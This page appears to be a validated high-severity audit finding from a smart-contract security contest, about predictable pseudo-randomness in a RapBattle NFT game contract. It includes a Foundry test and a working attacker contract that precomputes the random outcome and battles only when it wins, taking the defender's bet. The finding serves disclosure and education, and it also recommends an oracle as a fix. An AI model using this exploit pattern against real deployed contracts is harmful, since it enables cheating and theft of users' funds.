Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

In `RapBattle:_battle` the contract is using pseudo randomness - the random number could be predicted

Summary

Users can write a contract that checks what the random number will be and challenge the defender only if they will be the winner.

Vulnerability Details

  1. Wait for someone to enter the stage

  2. Check if the random number is bigger than defenderRapperSkill

  3. If it is - enter the battle

  4. Take the prize from the defender

###Proof of code

{
function testPseudoRandomness(uint256 randomBlock) public twoSkilledRappers {
uint256 challengerAmountBet = 3;
uint256 challengerTokenId = 1;
//Defender
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
console.log("User allowance before battle:", cred.allowance(user, address(rapBattle)));
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
//Challenger person
vm.startPrank(challenger);
CheckRandomness checkRandomness = new CheckRandomness(rapBattle, challengerTokenId , cred, oneShot);
oneShot.approve(address(checkRandomness), challengerTokenId);
cred.approve(address(checkRandomness), challengerAmountBet);
vm.roll(randomBlock);
vm.recordLogs();
checkRandomness.attack();
console.log("User allowance before battle:", cred.allowance(challenger, address(rapBattle)));
vm.stopPrank();
assert(cred.balanceOf(challenger) >= 4);
}
}
contract CheckRandomness {
RapBattle public immutable rapBattle;
Credibility public immutable cred;
OneShot public immutable oneShot;
uint256 public immutable tokenId;
uint256 public random;
constructor(RapBattle _rapBattle, uint256 _tokenId, Credibility _cred, OneShot _oneShot) {
rapBattle = _rapBattle;
tokenId = _tokenId;
cred = _cred;
oneShot = _oneShot;
}
function attack() public {
address defender = rapBattle.defender();
if (defender != address(0)) {
uint256 defenderTokenId = rapBattle.defenderTokenId();
uint256 defenderRapperSkill = rapBattle.getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(this))))
% totalBattleSkill;
uint256 defenderBet = rapBattle.defenderBet();
if (random > defenderRapperSkill) {
//Get the tokens from the challenger(which tries to hack the contract)
oneShot.transferFrom(msg.sender, address(this), tokenId);
cred.transferFrom(msg.sender, address(this), defenderBet);
//Approve for rapBattle
oneShot.approve(address(rapBattle), tokenId);
cred.approve(address(rapBattle), defenderBet);
//Battle
rapBattle.goOnStageOrBattle(tokenId, defenderBet);
//Return the challenger his bet and defender bet
cred.transfer(msg.sender, defenderBet * 2);
oneShot.transferFrom(address(this), msg.sender, tokenId);
} else {
console.log("Not calling anything!");
}
}
}
}

Impact

Very high impact - could predict the outcome of a game and participate in it only if they are the winners - cheating the game and the defender

Tools Used

Recommendations

Use randomness from an oracle - Chainlink is a good choice

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.